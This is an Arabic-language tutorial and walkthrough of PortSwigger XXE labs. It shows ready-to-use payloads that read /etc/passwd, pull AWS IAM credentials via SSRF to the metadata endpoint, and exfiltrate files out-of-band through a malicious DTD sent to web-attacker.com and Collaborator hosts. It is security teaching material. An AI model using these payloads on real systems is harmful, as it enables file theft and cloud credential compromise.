11 XML injection (XXE)
1. يعني إيه XXE أصلاً؟ (What is XXE?)
دي ثغرة أمنية بتحصل في تطبيقات الويب اللي بتستقبل بيانات بصيغة XML (ودي طريقة لتنظيم ونقل البيانات بين المتصفح والسيرفر، شبه الـ JSON كده). الثغرة دي بتحصل لما السيرفر بياخد ملف الـ XML اللي المستخدم (أو المهاجم) باعته، ويبدأ يقرأه ويعالجه (Parsing) من غير ما يعمل فحص أو حماية كافية.
بسبب الثغرة دي، المهاجم بيقدر يعمل كوارث زي:
-
قراءة ملفات السيرفر (Read local files): يقدر يخلي السيرفر يعرضله محتوى ملفات حساسة موجودة على النظام نفسه (زي ملفات الإعدادات، أو ملف
etc/passwd/في لينكس). -
القيام بهجمات SSRF: يقدر يستغل السيرفر المصاب كأنه "كوبري" عشان يتصل بأنظمة تانية (سواء داخل الشبكة الداخلية للشركة أو خارجية)، ودي بتعرف بثغرة الـ Server-Side Request Forgery.
2. إزاي الثغرة دي بتحصل؟ (How do XXE vulnerabilities arise?)
المشكلة الأساسية مش في لغة الـ XML نفسها، المشكلة في البرامج والمكتبات (XML Parsers/APIs) اللي بتُستخدم عشان تقرأ وتفهم الـ XML على السيرفر. مواصفات الـ XML الأصلية فيها مميزات (Features) قديمة ومعقدة، والمشكلة إن كتير من الـ Parsers دي بتبقى مفعّلة المميزات دي بشكل افتراضي (By default)، حتى لو التطبيق اللي إنت بتستخدمه مش محتاجها خالص.
طيب في الاول إيه هو الـ XML أصلاً؟ (What is XML?)
الـ XML (Extensible Markup Language) دي لغة معمولة عشان تخزن وتنقل البيانات.
-
شبه الـ HTML: لأنها بتستخدم "تاجز" (Tags) زي
<name>و</name>. -
مختلفة عن الـ HTML: الـ HTML التاجز بتاعته ثابتة ومحفوظة (زي
<h1>أو<p>)، لكن في الـ XML إنت اللي بتخترع التاجز براحتك عشان توصف البيانات بتاعتك (مثلاً<username>Jimmy</username>). -
معلومة سريعة: زمان كان الـ XML هو المعلم في نقل البيانات (حتى حرف الـ X في كلمة AJAX اختصار ليه)، بس دلوقتي الـ JSON بقى أشهر وأخف منه بكتير.
1. إيه هي الـ XML Entities؟ (الكيانات)
عشان نبسطها، اعتبر الـ Entity ده كأنه "اختصار" أو "متغير" (Variable). في الـ XML، في حروف معينة محجوزة للغة نفسها، زي علامة الأكبر من > والأصغر من <. لو إنت عاوز تكتب الحروف دي جوه البيانات بتاعتك من غير ما السيرفر يفتكرها بداية "تاج" جديد، بتستخدم الـ Built-in Entities.
-
مثلاً: بدل ما تكتب
<بتكتب<(اختصار Less than). -
وبدل ما تكتب
>بتكتب>(اختصار Greater than).
2. إيه هو الـ DTD (Document Type Definition)؟
الـ DTD ده عامل زي "كتالوج القواعد" بتاع ملف الـ XML. ده جزء بيتكتب في أول الملف خالص (جوه تاج اسمه <!DOCTYPE>)، وظيفته إنه يعرّف السيرفر إيه هي هيكلة الملف، وإيه البيانات المسموح بيها، وإيه "الاختصارات" (Entities) اللي هنستخدمها جوه الملف ده. الـ DTD ممكن يكون مكتوب جوه الملف نفسه، أو بيتعمله استدعاء من ملف خارجي.
3. إيه هي الـ Custom Entities؟ (الكيانات المخصصة)
الـ XML بيديك ميزة إنك تخترع "اختصارات" أو "متغيرات" خاصة بيك جوه الـ DTD.
- مثال:
XML
<!DOCTYPE foo [ <!ENTITY myentity "Jimmy" > ]>
-
المعنى: إنت هنا بتقول للسيرفر: "بص، أنا عملت متغير اسمه
myentityوقيمتهJimmy". -
النتيجة: أي مكان جوه ملف الـ XML هتكتب فيه
&myentity;، السيرفر وهو بيقرأ الملف هيقوم ماسح الكلمة دي وحاطط مكانهاJimmy.
4. الطامة الكبرى: الـ External Entities 🚨
هنا بقى بيبدأ الخطر اللي بيعمل ثغرة الـ XXE. الـ External Entities هي عبارة عن "متغيرات" إنت بتعملها، بس قيمتها مش مكتوبة في الملف، قيمتها بيتم استدعائها من مصدر خارجي (External Source).
عشان تعمل ده، بتستخدم كلمة سرية اسمها SYSTEM، وتديها الرابط (URL) أو مسار الملف اللي السيرفر المفروض يروح يجيب القيمة منه:
- استدعاء من رابط:
XML
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
- استدعاء من ملف على الجهاز نفسه (وهنا الكارثة):
XML
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
- المعنى: إنت بتقول للسيرفر: "روح افتح الملف اللي في المسار ده، وخد الكلام اللي جواه كله، وخليه هو قيمة المتغير اللي اسمه
ext".
لما السيرفر يعالج (Parse) الملف وييجي يرد عليك، هيرد عليك بالبيانات بعد ما عوض عنها، وبالتالي هتلاقي محتوى الملف السري اللي على السيرفر ظاهر قدامك على الشاشة!
الأساسيات دي هي اللي بتبني عليها كل هجمات الـ XXE. تحب ندخل دلوقتي في أمثلة عملية ونشوف إزاي المهاجم بيكتب الـ Payload عشان يقدر يسحب ملفات حساسة من السيرفر؟
3. إيه هي أنواع هجمات الـ XXE؟
المقال قسمهم لـ 4 أنواع رئيسية، هقولهملك باختصار عشان تبقى شايف الصورة كاملة:
-
استخراج الملفات (Retrieve files): وده اللي هنشرحه بالتفصيل دلوقتي، إنك تقرأ ملفات حساسة من السيرفر.
-
هجوم SSRF: إنك تستخدم السيرفر كـ "كوبري" عشان تتصل بأجهزة تانية في الشبكة الداخلية للشركة.
-
الـ Blind XXE (الاستخراج الخفي - Out-of-band): ده بيحصل لما السيرفر يكون مصاب بالثغرة، بس مش بيرد عليك بالبيانات على الشاشة. فبتضطر تعمل حيلة وتخلي السيرفر يبعت الملفات دي لسيرفر تاني بتاعك إنت (Attacker Server).
-
الـ Blind XXE عبر رسائل الخطأ (Error messages): برضه السيرفر مش بيعرض البيانات، بس إنت بتتعمد تبوظ حاجة في الـ XML عشان السيرفر يطلع رسالة "Error"، وبتخلي الرسالة دي تفضح جزء من البيانات الحساسة.
إزاي بننفذ هجوم استخراج الملفات؟ (Exploiting XXE to retrieve files)
عشان تسرق ملف (زي ملف الباسوردات etc/passwd/ في لينكس)، لازم تعمل حاجتين أساسيتين في طلب الـ XML اللي بتبعته:
-
تكتب الـ DOCTYPE: وتعرف جواه External Entity بيبص على مسار الملف اللي عاوز تسرقه.
-
تستدعي الـ Entity: تحط اسم الـ Entity ده جوه "تاج" (Tag) من التاجات اللي التطبيق متعود يعرضها في الرد بتاعه (Response).
💡 تعال نشوف المثال العملي (السيناريو):
تخيل إنك في موقع تسوق، وبتضغط على زرار "تحقق من المخزون" (Check Stock) عشان تشوف المنتج رقم 381 متاح ولا لأ. المتصفح بيبعت للسيرفر ملف XML بريء جداً شكله كده:
XML
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>381</productId>
</stockCheck>
السيرفر بياخد الرقم "381"، يدور عليه، ويرد عليك يقولك مثلاً: "المنتج 381 متاح منه 5 قطع". (هنا السيرفر بيعكس أو بيعرض رقم المنتج اللي إنت بعتهوله في الرد).
😈 الهجوم (The Payload):
بما إن السيرفر مش متأمن، إنت هتبعتله الـ XML ده بدل العادي:
XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
<productId>&xxe;</productId>
</stockCheck>
إيه اللي حصل هنا؟
-
إنت ضفت السطر بتاع
<!DOCTYPE...وعملت متغير سميتهxxe، وقولت للسيرفر إن قيمته هي محتوى ملفetc/passwd/. -
بدل ما تبعت رقم المنتج 381، بعت المتغير بتاعك
&xxe;.
رد فعل السيرفر (الكارثة): السيرفر هياخد الـ &xxe; ويحط مكانها كل الكلام اللي جوه ملف الباسوردات. ولما ييجي يدور في قاعدة البيانات على منتج بالاسم العجيب ده، مش هيلاقي حاجة، فهيرد عليك برسالة خطأ بيقولك فيها إن الـ ID ده غلط، بس هيطبعلك محتوى الملف كله على الشاشة!
Plaintext
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
📌 ملاحظة مهمة جداً للشغل في الواقع (Pro Tip):
في الحقيقة، ملفات الـ XML اللي بتتبعت للسيرفر بتبقى مليانة "تاجات" (Nodes) كتير جداً، مش بس productId. عشان تكتشف الثغرة دي بنجاح، لازم تجرب تحط الـ Entity بتاعك &xxe; في كل حقل (Field) لوحده وتشوف هل السيرفر هيعرضه في الـ Response ولا لأ، لأن مش كل الحقول السيرفر بيرد بيها على المستخدم.
حل لاب Exploiting XXE using external entities to retrieve files :
الخطوة الأولى: اصطياد الطلب (Intercepting the Request)
المكتوب: Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite.
-
التفسير: لما بتدخل على صفحة أي منتج وتدوس على زرار "Check stock" (التحقق من المخزون)، المتصفح بتاعك بيبعت طلب من نوع POST للسيرفر. الطلب ده جواه بيانات المنتج مكتوبة بصيغة XML.
-
دورك هنا: بتشغل أداة الـ Proxy في Burp Suite وتعمل Intercept On عشان توقف الطلب ده قبل ما يروح للسيرفر. بعد ما تمسكه، هتبعته لـ Repeater عشان تقدر تعدل فيه براحتك وتبعته كذا مرة وتشوف الرد.
شكل الطلب الأصلي في Burp هيبقى عامل كده تقريباً:
XML
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
الخطوة التانية: زرع القنبلة (Defining the External Entity)
المكتوب: Insert the following external entity definition in between the XML declaration and the stockCheck element...
-
التفسير: إنت هنا بتعدل في هيكل الـ XML نفسه. هتيجي بعد السطر الأول (اللي هو إعلان الـ XML) وقبل تاج
<stockCheck>، وتقوم حاطط الكود الخبيث بتاعك. -
الكود هو:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> -
معناه إيه؟ إنت بتقول للسيرفر: "أنا بعمل قواعد جديدة (DOCTYPE) للملف ده. جوه القواعد دي، أنا اخترعت متغير (Entity) سميته
xxe، وقيمته مش هكتبهالك هنا، لأ.. أنا عاوزك تروح تقرأ الملف اللي موجود على نظام التشغيل بتاعك في المسارetc/passwd/وتحط محتواه كله كقيمة للمتغير ده".
شكل الطلب بعد التعديل هيبقى كده:
XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
لحد هنا، إنت جهزت المتغير بس لسه ما استخدمتوش، فالسيرفر مش هيعرض حاجة.
الخطوة الثالثة: تفجير الثغرة (Triggering the Exploit)
المكتوب: Replace the productId number with a reference to the external entity: &xxe;
- التفسير: دي اللحظة الحاسمة. إنت هتروح للتاج بتاع
<productId>وتمسح الرقم اللي جواه (اللي هو 1 مثلاً)، وتحط مكانه المتغير اللي إنت لسه مخترعه&xxe;.
الطلب النهائي اللي هتبعته للسيرفر هيبقى شكله كده:
XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
النتيجة (إيه اللي بيحصل في الكواليس؟)
لما بتدوس Send في الـ Repeater، السيرفر بياخد الملف ده ويبدأ يقارئه (Parsing):
-
هيشوف المتغير
&xxe;. -
هيروح يبص في الـ DOCTYPE، هيلاقيك بتقوله "هات محتوى
etc/passwd/". -
السيرفر (عشان مصاب بالثغرة) هيروح فعلاً يفتح الملف ده عنده، وياخد كل السطور اللي فيه.
-
هيشيل كلمة
&xxe;ويحط مكانها محتوى الملف كله جوه تاج الـ<productId>. -
السيرفر دلوقتي بيحاول يدور في الداتا بيز على منتج الـ ID بتاعه هو (محتوى ملف الباسوردات بالكامل)!
-
طبعاً مش هيلاقي منتج بالرقم العجيب ده، فهيرد عليك برسالة خطأ (Error Message) بيقولك فيها:
"Invalid product ID:"وهيقوم طابعلك الـ ID اللي هو حاول يدور عليه (اللي هو في الحالتنا دي، محتوى ملف الـ passwd السري بالكامل).
وبكده تبقى نجحت تستغل ثغرة الـ XXE عشان تقرأ ملفات حساسة من السيرفر! ملحوظة: ذي ما قولنا فوق مش دايما هيكون هيكون مكان ال variable في الاول هو الصح هتحتاج تدور علي المكان اليشتغل فيه و بالاخص لو في اكثر من مكان.
يا بطل، إنت كده دخلت في "ليفل الوحش"! الجزء ده بيشرح إزاي نستخدم ثغرة الـ XXE عشان ننفذ هجوم تاني خطير جداً اسمه SSRF (Server-Side Request Forgery أو تزوير الطلبات من جهة الخادم).
تعالى نفهم الفكرة دي بتفاصيلها الممتعة:
يعني إيه SSRF من خلال الـ XXE؟
في الهجوم اللي فات (قراءة الملفات)، إنا كنا بنخلي السيرفر يفتح ملف جوه جهازه (زي file:///etc/passwd). في هجوم الـ SSRF، إحنا بنغير الخطة؛ بدل ما نطلب ملف، بنطلب رابط (URL).
الفكرة هنا إنك بتستغل السيرفر كأنه "كوبري" (Proxy). الشركات بيبقى عندها شبكة داخلية (Internal Network) فيها سيرفرات تانية ولوحات تحكم خاصة بالموظفين، مستحيل توصلها من بره على الإنترنت. بس السيرفر المصاب بالثغرة يقدر يوصلها لأنه جزء من الشبكة دي! فإنت بتأمره يروح يفتح الرابط الداخلي ده نيابة عنك.
إزاي بننفذ الهجوم؟ (The Payload)
نفس الخطوات اللي عملناها في اللاب اللي فات بالظبط، بس كل اللي بيتغير هو الـ Protocol اللي بنستخدمه في الـ External Entity. بدل ما نكتب file:// هنكتب http://.
المقال ضربلك المثال ده:
XML
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
إيه اللي بيحصل هنا؟ إنت بتعرف المتغير xxe، وبتقول للسيرفر: "قيمته هي المحتوى اللي هيرجعلك لما تفتح الرابط الداخلي [http://internal.vulnerable-website.com/](http://internal.vulnerable-website.com/)".
سيناريوهات الهجوم (النتائج)
لما السيرفر بينفذ الطلب ده، بيحصل حاجة من اتنين:
-
تفاعل كامل (Two-way interaction): لو التاج اللي إنت حطيت فيه المتغير (زي
<productId>) بيتعرض في الرد بتاع السيرفر (Response)، السيرفر هياخد الـ HTML أو البيانات بتاعة الموقع الداخلي ده ويطبعها لك على الشاشة. إنت كده بقيت تتصفح الشبكة الداخلية للشركة وأنت قاعد في بيتك! -
هجوم أعمى (Blind SSRF): لو السيرفر قفلها في وشك ومش بيعرض البيانات اللي طلبها، الهجوم ده لسه خطير! ليه؟ لأن السيرفر بالفعل نفذ الطلب وراح زار الرابط. تخيل لو الرابط ده كان بينفذ أمر معين (مثلاً رابط داخلي بيمسح مستخدم أو بيقفل خدمة زي
http://internal-admin/delete?user=admin)، السيرفر هينفذ الأمر ده حتى لو مش هتشوف النتيجة بعينك.
خلاصة: الـ SSRF بيحول ثغرة الـ XXE من مجرد "تسريب ملفات" لـ "اختراق للشبكة الداخلية"، وده اللي بيخلي تصنيفها دايماً عالي جداً في تقييم الخطورة (Critical).
حل لاب Exploiting XXE to perform SSRF attacks :
قبل ما نحل، لازم تفهم إيه هو الرابط ده: [http://169.254.169.254/](http://169.254.169.254/).
في عالم الحوسبة السحابية (زي AWS AWS/EC2)، الرابط ده عبارة عن Link-Local Address. السيرفر بيستخدمه داخلياً عشان يكلم "نظام الإدارة" بتاع أمازون ويجيب منه معلومات عن السيرفر نفسه (زي اسم السيرفر، الشبكة، والأهم: بيانات تسجيل الدخول الصالحة للملحقات أو الـ IAM Roles). الرابط ده مش متاح للعامة على الإنترنت، بس السيرفر نفسه يقدر يقرأه!
بما إننا مش عارفين المسار الكامل للـ Secret Key بالظبط جوه اللاب، إحنا هنمشي بأسلوب الاستكشاف (Directory Crawling) خطوة بخطوة.
خطوات حل اللاب بالتفصيل
1.اصطياد الطلب بـ Burp Suite:الخطوة الأولى.
ادخل على صفحة أي منتج، ودوس على زرار Check stock. امسك الطلب (Intercept) في Burp Suite وابعت الطلب لـ Repeater. الطلب الأصلي هيكون ملف XML عادي بيبعت الـ productId.
2.استكشاف المسار الرئيسي للـ Metadata:الخطوة الثانية.
هنعدل الطلب عشان نخلي السيرفر يزور الرابط السحري ويقولنا إيه اللي جواه. حط الـ Payload ده:
XML
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]>
<productId>&xxe;</productId>
لما تدوس Send، السيرفر هيرد عليك ويقولك إن جواه فولدر اسمه latest.
3.تتبع الفولدرات خطوة بخطوة:الخطوة الثالثة.
كل ما السيرفر يديك اسم فولدر، زود الاسم ده في الرابط وابعت تاني. هتفضل تعدل الرابط كالتالي:
-
أولاً هتبعت لـ:
[http://169.254.169.254/latest/](http://169.254.169.254/latest/)(السيرفر هيرد بـmeta-data). -
ثانياً هتبعت لـ:
[http://169.254.169.254/latest/meta-data/](http://169.254.169.254/latest/meta-data/)(السيرفر هيرد بقائمة فولدرات، منهاiam). -
ثالثاً هتبعت لـ:
[http://169.254.169.254/latest/meta-data/iam/](http://169.254.169.254/latest/meta-data/iam/)(السيرفر هيرد بـsecurity-credentials).
4.معرفة اسم الـ Role:الخطوة الرابعة.
ابعت الطلب للمسار الأخير اللي وصلنا له:
XML
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]>
<productId>&xxe;</productId>
لما تدوس Send، السيرفر هيرد عليك باسم الـ Role المربوطة بالجهاز ده (مثلاً هيكون اسمها admin أو ec2-user أو أي اسم عشوائي اللاب عامله).
5.استخراج الـ Secret Access Key وحل اللاب:الخطوة الخامسة والأخيرة.
خد الاسم اللي ظهرلك في الخطوة اللي فاتت (نفرض مثلاً إن الاسم طلع admin)، وحطه في نهاية الرابط بالشكل ده:
XML
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<productId>&xxe;</productId>
دوس Send، السيرفر هيروح للمسار النهائي ده ويرد عليك بملف JSON كامل جواه الـ AccessKeyId والـ SecretAccessKey وكده مبروك عليك حل اللاب واختراق السيرفر!
و هيكون بالشكل ده :
"Invalid product ID: {
"Code" : "Success",
"LastUpdated" : "2026-06-24T15:19:26.380987921Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "fVAZFuJoRGTWyg2Uu0iw",
"SecretAccessKey" : "yYHoqUAf7z91IqInR060hbuigKBv18DlV4V7fkcZ",
"Token" : "yrqcOlrH3T6vczMN42GLrIVocengd7wwbX7LtOdiWHYWDBL8UgkFBlUvFfUQtDLCMIEzDlqgZc1ld3qreMlFCKLViYcyW0eeSbkpLUSCF7y9z4PZOtTV3D6C7dK9BcYfthf0VFrtMF7EdZpH7QGJisQVBqnJuEK6cdPTCMnIu3zEnPZNCzmqcpPwG4PSqKRnt7nMjOOIpT56YOciHm9jDu7zFafezcIFZrVKJGAaIbgvwpZntQpK2wVwKYGBSd0v",
"Expiration" : "2032-06-22T15:19:26.380987921Z"
}"
⚠️ ملاحظة أمنية لحياتك العملية: الهجوم ده بالظبط هو اللي اتسبب في اختراق شركة Capital One الشهيرة سنة 2019 وتسريب بيانات ملايين العملاء، لما المهاجم استغل ثغرة SSRF عشان يوصل لنفس الـ IP ده وسحب مفاتيح AWS المخزنة عليه. حالياً AWS حدثت النظام لـ IMDSv2 عشان تمنع الهجمات دي، بس لسه في سيرفرات كتير شغالة بالنظام القديم ده!
دلوقتي ندخل علي ال Blind XXE :
زي ما إنت شفت في اللابات اللي فاتت، كنا بنكتب الـ Payload ونشوف النتيجة قدامنا في الـ Response، سواء كان ملف الباسوردات أو المفتاح السري بتاع أمازون. لكن في الـ Blind XXE، السيرفر بيبقى "كتوم".. بينفذ الكود بتاعنا بس مش بيعرض أي حاجة على الشاشة.
عشان كده اختراقه بيبقى أصعب شوية، بس الهاكرز لقوله طريقتين أساسيتين عشان يوقعوه:
طرق استغلال الـ Blind XXE
-
التفاعل الخارجي (Out-of-Band - OAST): بنخلي السيرفر بدل ما يرد علينا في المتصفح، يبعت هو البيانات لسيرفر تاني إحنا (كمهاجمين) بنتحكم فيه.
-
رسائل الخطأ (Error-based): بنعمل خدعة في الكود تخلي الـ XML Parser يضرب ويطلع رسالة خطأ (Crash)، وبنجبره يحط البيانات الحساسة اللي سرقناها جوه نص رسالة الخطأ دي!
إزاي بنكتشف الثغرة أصلاً بطريقة OAST؟
بما إن السيرفر مش بيرد علينا، إحنا محتاجين نتأكد الأول هو مصاب أصلاً ولا لأ قبل ما نتعب نفسنا ونحاول نسرق بيانات. بنعمل ده باستخدام نفس فكرة الـ SSRF اللي لسه شارحينها.
بنبني Payload زي ده:
XML
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>
إيه اللي بيحصل في الكواليس؟
-
إنت بتعمل متغير اسمه
xxeوبتقول للسيرفر: "روح افتح الرابط ده". -
الرابط ده مش رابط داخلي للشركة، ده رابط سيرفر بتاعك إنت (في Burp Suite بنستخدم أداة عبقرية اسمها Burp Collaborator بتديك رابط مخصص تصطاد بيه الطلبات دي).
-
لما بتبعت ملف الـ XML للسيرفر وتستدعي المتغير، السيرفر بينفذ الأمر ويروح يزور الرابط بتاعك.
-
إنت بتفتح لوحة التحكم بتاعتك (الـ Collaborator Client)، لو لقيت إن في جهاز عمل اتصال (DNS Lookup أو HTTP Request) بالرابط ده، بتعرف فوراً إن السيرفر ده مصاب بثغرة XXE وإنه بينفذ أوامرك "على العمياني"!
بمجرد ما تتأكد إنه مصاب، بتبدأ المرحلة اللي بعدها: إزاي تخلي السيرفر وهو بيزور موقعك، يسحب معاه ملف حساس (زي etc/passwd/) ويبعتهولك!
حل لاب Blind XXE with out-of-band interaction :
الهدف من اللاب: إثبات وجود ثغرة XXE عمياء (Blind) في السيرفر عن طريق إجباره على الاتصال بسيرفر خارجي نتحكم فيه (Burp Collaborator)، لأن السيرفر مش بيرد بأي بيانات على الشاشة.
📥 الخطوة 1: اصطياد الطلب (Intercept the Request)
-
ماذا تفعل: ادخل على صفحة أي منتج، واضغط على زرار Check stock.
-
في Burp Suite: شغّل الـ Intercept عشان تمسك طلب الـ POST الخاص بالعملية دي، وبعدين ابعته للـ Repeater عشان نعدل فيه براحتنا.
💣 الخطوة 2: زرع رابط الكولابوريتور (Define the External Entity)
- ماذا تفعل: هتيجي في الـ XML، وتحديداً بين السطر الأول (XML declaration) وبداية التاج الرئيسي للـ
<stockCheck>، وتحط الكود ده:
XML
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> ]>
- 💡 تلميح للمحترفين: بدل ما تكتب رابط الـ Collaborator بنفسك، اقف بالماوس في المكان اللي عاوز تحط فيه الرابط، واضغط Right-click واختار "Insert Collaborator payload". برنامج Burp هيحطلك رابط فرعي (Subdomain) فريد وخاص بيك فوراً.
🚀 الخطوة 3: تفعيل الهجوم (Trigger the Payload)
- ماذا تفعل: انزل تحت عند التاج بتاع
<productId>، امسح الرقم المكتوب جواه (مثلاً لو مكتوب 1 أو 2)، وحط مكانه الـ Entity اللي إنت لسه معرّفه فوق:
Plaintext
&xxe;
- الحالة الآن: اضغط على زرار Send عشان تبعت الطلب المعدل للسيرفر.
👁️ الخطوة 4: التحقق وصيد الاتصال (Poll for Interactions)
-
ماذا تفعل: روح للتبويب (Tab) الخاص بـ Collaborator في أعلى برنامج Burp Suite.
-
اضغط على زرار "Poll now".
-
النتيجة: هتظهر قدامك في الجدول سطور بتأكد إن في اتصالات من نوع DNS و HTTP جات للرابط بتاعك.
🧠 فكرة العمل (Behind the Scenes) عشان تفهمها لنفسك:
لما السيرفر استقبل ملف الـ XML وقرأ المتغير
&xxe;، راح بص في الـ DTD فوق، لقى إن قيمته محتاجة إنه يروح يزور رابط الـ Burp Collaborator. السيرفر نفذ الأمر ده في الخلفية وخرج على الإنترنت عشان يكلم الرابط بتاعك. بمجرد ما السيرفر زار موقعك، برنامج Burp سجل الزيارة دي، وده الدليل القاطع (PoC) على إن السيرفر مصاب بـ Blind XXE وبينفذ أوامر خارجية.
Bypass Techniques :
المشكلة: ليه الهجوم العادي ممكن يفشل؟
ساعات المبرمج أو الـ Firewall (WAF) بيكونوا أذكياء شوية، فبيعملوا فلترة (Validation) بتمنع استخدام الكيانات العادية (Regular Entities زي &xxe;) جوه تاجات البيانات (زي <productId>). أو أحياناً الـ XML Parser نفسه بيكون متقفل وميسمحش إنك تستدعي كيان خارجي جوه هيكل الـ XML.
💡 الحل السحري: الـ XML Parameter Entities
لغة الـ XML فيها نوع "خاص جداً" من المتغيرات اسمه Parameter Entities. النوع ده له ميزة وقاعدة واحدة صارمة: لا يمكن استخدامه أو استدعائه إلا جوه منطقة الـ DTD بس (يعني جوه تاج الـ <!DOCTYPE> فوق خالص)، ومينفعش تستخدمه تحت وسط البيانات.
عشان تستخدم النوع ده، في اختلافين بُساط جداً في طريقة الكتابة:
-
في التعريف (Declaration): بنحط علامة النسبة المئوية
%قبل اسم المتغير.-
الشكل العادي:
<!ENTITY xxe ...> -
الشكل الجديد:
<!ENTITY % xxe ...>
-
-
في الاستدعاء (Referencing): بدل ما نستخدم علامة
&، بنستخدم علامة%.-
الشكل العادي:
&xxe; -
الشكل الجديد:
%xxe;
-
🚀 كيف تنفذ الهجوم؟ (The Payload)
بما إننا مش هنقدر ننزل تحت عند الـ <productId> ونكتب &xxe;، إحنا هننفذ الهجوم بالكامل فوق جوه الـ DTD.
شوف الـ Payload ده:
XML
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]>
إيه اللي بيحصل هنا بالظبط؟
-
إنت فتحت الـ
<!DOCTYPE>وعرفت الـ Parameter Entity اللي اسمه%xxe، وقولتله روح للموقع بتاعك (Burp Collaborator). -
الضربة القاضية: قبل ما تقفل القوس بتاع الـ DTD
]، قُمت كاتب%xxe;! -
النتيجة: السيرفر وهو بيقرأ الـ DTD فوق، هيعرّف المتغير، وبعدين يلاقيك بتستدعيه في نفس السطر، فهيقوم رايح فوراً فاتح الرابط بتاعك.
ليه الحيلة دي عبقرية؟ لأنك مش محتاج تعدل أي حاجة في التاجات اللي تحت (زي <productId>). الهجوم كله بيتم ويخلص في السطر الأول قبل ما السيرفر يكمل قراءة باقي بيانات الـ XML، وبكده إنت بتتخطى الفلترة اللي بتحمي البيانات!
حل لاب Blind XXE with out-of-band interaction via XML parameter entities :
هو هو نفس حل اللاب الفات بس المختلف اننا علشان في WAF او Firewall فا الطريقة الطبيعية مش هتنفع يعني مش هينفع انزل اكتب ال variable تحت في ال tags علشان كده بستخدم ال Parameter Entities variables و ال Declaration جوه ال DTD ال هو ال DOCTYPE TAG بنعدل بس ال Payload و هنغليه كده :
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://ytvrfcha409hiee0rp1v580okfq6ex2m.oastify.com"> %xxe; ]>
و بكده السيرفر وهو بيقرأ الـ DTD فوق، هيعرّف المتغير، وبعدين يلاقيك بتستدعيه في نفس السطر، فهيقوم رايح فوراً فاتح الرابط بتاعك. و يتسجل ال logs في COLLABORATOR.
Exploiting blind XXE to exfiltrate data out-of-band :
بص يا سيدي، في الجزء اللي فات إحنا بس أثبتنا إن السيرفر مصاب، لكن عشان نخليه يبعتلنا محتوى ملف زي etc/passwd/، إحنا محتاجين نعمل "خطة مركبة" (Chain). مش هينفع نكتب الكود كله في الطلب اللي بنبعته للسيرفر (الـ Internal DTD)، لأن الـ XML Parser مش هيسمحلك تحط متغير جوه رابط متغير تاني بشكل مباشر.
الحل؟ بنعمل ملف DTD خبيث ونرفعه على سيرفر بتاعنا إحنا، ونخلي السيرفر المصاب يقرأه وينفذ اللي جواه!
تعالى نفصص الخطة دي لخطوتين زي ما المقال شرحها:
😈 الخطوة الأولى: تجهيز الفخ (الملف الخبيث على سيرفرك)
إنت هتعمل ملف وتسميه مثلاً malicious.dtd وترفعه على موقعك (أو على Burp Collaborator لو بيدعم الاستضافة). الملف ده جواه 4 سطور عبقرية، بتشتغل زي "عرائس الماتريوشكا" الروسية (واحدة جوه التانية):
XML
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
شرح السطور دي للسيرفر:
-
السطر الأول (
file): "روح اقرأ ملف الباسوردات وخزن محتواه في المتغير اللي اسمهfile." -
السطر التاني (
eval): ده المطبخ! هنا إحنا بنعمل متغير جديد اسمهeval، وظيفته إنه يصنع متغير تالت اسمهexfiltrate. المتغير التالت ده بيحتوي على رابط موقعك، ومترزوق في آخره?x=%file;(يعني بنلزق محتوى ملف الباسوردات في الرابط).- (ملاحظة:
%ده مجرد تشفير لعلامة النسبة المئوية%عشان السيرفر ميتلخبطش وهو بيقرأ الكود في الأول).
- (ملاحظة:
-
السطر التالت (
%eval;): "شغّل سطر المطبخ عشان تصنع المتغير التالت." -
السطر الرابع (
%exfiltrate;): "شغّل بقى المتغير التالت." وده اللي بيخلي السيرفر فعلياً يفتح رابط موقعك، ويبعتلك محتوى الملف كـ Parameter في الرابط!
🚀 الخطوة الثانية: إطلاق شرارة الهجوم (The Payload)
دلوقتي الفخ جاهز على سيرفرك. كل اللي هتعمله إنك هتروح للسيرفر المصاب (في Burp Suite)، وتبعتله الـ Payload البسيط ده:
XML
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
إيه اللي هيحصل هنا؟ (The Chain Reaction):
-
السيرفر المصاب هيشوف الأمر، هيروح يزور موقعك عشان يحمل ملف
malicious.dtd. -
السيرفر هيدخل جوه الملف بتاعك ويبدأ ينفذ السطور الـ 4 اللي شرحناهم.
